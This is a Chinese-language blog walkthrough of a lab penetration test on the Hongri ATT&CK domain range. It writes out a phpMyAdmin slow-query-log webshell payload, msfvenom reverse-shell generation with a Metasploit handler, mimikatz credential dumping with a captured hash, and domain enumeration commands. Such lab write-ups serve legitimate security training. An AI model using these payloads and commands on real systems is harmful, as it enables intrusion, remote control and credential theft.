前言

靶机下载地址:ATT&CK

拓扑图:

通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环。虚拟机默认密码为hongrisec@2019。


环境搭建

名字 host password 说明
win7 192.168.200.129/24
192.168.52.143/24
hongrisec@2019 web服务器
win2K3 192.168.52.141/24 hongrisec@2019 域成员
windows server 2008 r2 192.168.52.138/24 hongrisec@2019 域控制器
kali 192.168.200.128/24 kali attack

设置VMnet1为仅主机模式,然后win7设置双网卡,其中有一张为Net,如下设置,不然ip会对不上:

win2K3和windows server 2008 R2的网卡设置如下:

攻击机 kali 的网卡设置如下:


测试网络连通性

我个人感觉,其实没必要可以去ping吧~我这基本上ping不通(因为我开了防火墙),下面是关闭防火墙后的ping

win7 ping win2K3

win7 ping windows server 2008 r2

win2K3 ping windows server 2008 r2

同样的道理进行 windows server 2008 r2 反ping win7,win2K3,win7和kali 互通。

win7开了防火墙后,kali ping不通,但是nmap能扫出来,无法访问80端口,为了继续渗透,作者我决定对win7的防火墙做些手脚,如下:

入网规则:

出网规则:

注意,我靶机win7的防火墙还是开着的:

具体怎么设置呢,自行百度吧,设置出入网规则不是这篇博客的重点!


内网渗透

信息收集

信息收集前要在win7中把phpstudy打开哦,位置是:c盘根目录下,各位师傅也可以自行设置开机自启动哈~

扫描同网段下的存活主机和端口

有人会问,怎么知道ip?linux下查看本机ip地址的命令是:ifconfig

nmap 192.168.200.0/24

可以看到开了个80端口,我们访问一下80端口

发现是个phpStudy探针,基本信息都已经给了,就剩下目录了,那就进行目录扫描吧

dirb http://192.168.200.129/ /usr/share/wordlists/dirb/common.txt

扫完目录后发现除了个sql管理工具:phpMyadmin,其他啥也没,直接访问

漏洞一:弱口令

需要用户名密码,这个时候不要慌,回去phpStudy探针的那个页面走一波弱口令,什么你不知道phpStudy可以进行sql连接测试??那就往下看吧~

 

来吧,弱口令走一波,先来个常用的 root root。

回到phpMyadmin界面,输入刚才检测的用户名密码,登录成功。

漏洞二:phpMyadmin慢查询日志getshell

phpMyadmin有很多中getshell方式,我这里使用慢查询日志来getshell,其他的方法自行百度,或者关注我 (敬请期待)

直接点击SQL即可

1、查看当前慢日志目录

show variables like '%slow%';

此时的慢查询日志还是关闭状态。

2、开启慢查询日志功能:

set global slow_query_log=on;

3、重新设置日志路径

日志路径可以在phpStudy探针中拿到,这里就不加说明了。(这里的php名字自行命名哈)

set global slow_query_log_file='C:/phpStudy/WWW/xx.php';

修改成功,如果路径不对的话会报错的哦。

4、执行sql命令,写webshell进日志文件
注意执行的sql语句有一个sleep的延时时间,我这里设置为10s,为什么要加这个延时呢?因为咱们是通过慢查询来getshell的,所以要加延时。

select '<?php eval($_POST[cmd]);?>' from mysql.db where sleep(10);

其中 <?php eval($_POST[cmd]);?> 是一句话,有不懂的师傅自行百度哦~这里不解释。

5、蚁剑连接

测试连接,提示连接成功时,点击添加即可。

这样就拿到了webshell了。

发现里面有一个cms,我好像绕过了些啥,直接就进来了,这个cms在下一篇文章写吧!

下面是信息收集,作者使用msf反弹shell来进行:

生成木马:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.200.128 lport=10173 -f exe > spmonkey.exe

lhost 是kali ip地址,lport 是kali监听的端口

生成后利用蚁剑上传并执行,msf配置如下:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.200.128
set lport 10173
run

木马文件被执行后,反弹shell

查看当前权限:getuid

信息收集一:系统信息收集

sysinfo

信息收集二:网络信息收集

查看它有没有其他网段:run get_local_subnets

发现就只有52网段和200网段,对52网段进行存活主机收集:

创建路由规则:run autoroute ‐s 192.168.52.0/24

查看路由规则是否创建成功:run autoroute -p

信息收集三:win7(跳板机)的用户名和密码收集

上github下载mimikatz并上传至win7(实战中要做免杀哦)

wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip    # 命令下载

upload /opt/mimikatz/x64/mimikatz.exe C:\\phpStudy\\WWW\\  # 上传mimikatz到win7

上传成功了,回到msf上运行mimikatz,获取win7的密码

乱码??不要慌,运行 chcp 65001 就好了

进入mimikatz.exe所在的目录下执行mimikatz.exe,然后输入以下命令进行明文密抓取

privilege::debug
sekurlsa::logonPasswords

得到username : Administrator domain : GOD password : hongrisec@2022(因为登陆域控机win2008的时候会要求改密码,我这个改成hongrisec@2022)

LM:edea194d76c77d87923b4276177762ae;NTLM:8c535a2d84c3b21059d667639bb89db5(可能会用到哈希传递攻击,所以记录下来)

发现存在域后,使用post/windows/gather/enum_domains扫描找到域控用户 OWA

信息收集四:获取主机所安装的软件信息

run post/windows/gather/enum_applications

可以看到,目标主机安装了Nmap。

查看进程

meterpreter > ps

将木马进程迁移到explorer.exe上

migrate 2100

信息收集五:域环境信息+找到域控

进入shell界面收集域内信息:

收集域信息

ipconfig /all   查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)

查看本机ip,所在域

ipconfig /all

查看局域网内其他主机名

net view

查看所开启的共享

net share

查看本机的用户信息

net user

获取主机名

use auxiliary/scanner/netbios/nbname
set RHOSTS 192.168.52.1/24
run

整理

域:god.org

域控 windows server 2008:OWA,192.168.52.138

域成员 windows server 2003:ROOT-TVI862UBEH,192.168.52.141

win7内网ip:192.168.52.143

最新文章

  1. hdu 2222 Keywords Search(AC自动机)
  2. UML学习笔记1
  3. 给方法传递参数:ref参数和out参数
  4. 经常使用MD5算法代码
  5. docker 容器日志集中 ELK + filebeat
  6. Android Studio开发遇到程序崩溃问题
  7. RTlinux3.2安装
  8. ELK学习笔记(一)安装Elasticsearch、Kibana、Logstash和X-Pack
  9. len(x) 击败 x.len(),从内置函数看 Python 的设计思想
  10. android okHttp 无线程Post请求
  11. oracle 分析函数 keep(dense_rank first/last)
  12. CSharp 案例:用 Dynamic 来解决 DataTable 数值累加问题
  13. luogu1966 火柴排队(离散化+树状数组)
  14. PHP获取访客ip、系统、浏览器等信息[转]
  15. mysql学习1:数据类型:数字型,日期和时间,字符串类型(总结)
  16. JeeSite 4.x 树形结构的表设计和用法
  17. php json_decode() 如果想要强制生成PHP关联数组,json_decode()需要加一个参数true
  18. 了解python wed 框架
  19. Java字符串分割
  20. 微信小程序横版日历,tab栏

热门文章

  1. Solution -「基环树」做题记录
  2. 如何在 pyqt 中实现桌面歌词
  3. Azure Devops(十四) 使用Azure的私有Nuget仓库
  4. 带你熟悉云网络的“电话簿”:DNS
  5. 关于标准IO缓冲区的问题
  6. 清北学堂 2020 国庆J2考前综合强化 Day2
  7. linux 编译式安装nginx
  8. 使用Docker-compose搭建nginx-keepalived双机热备来实现高可用nginx集群
  9. VSCode Easy Less扩展 out 配置字段
  10. SpringCloud之Sentinel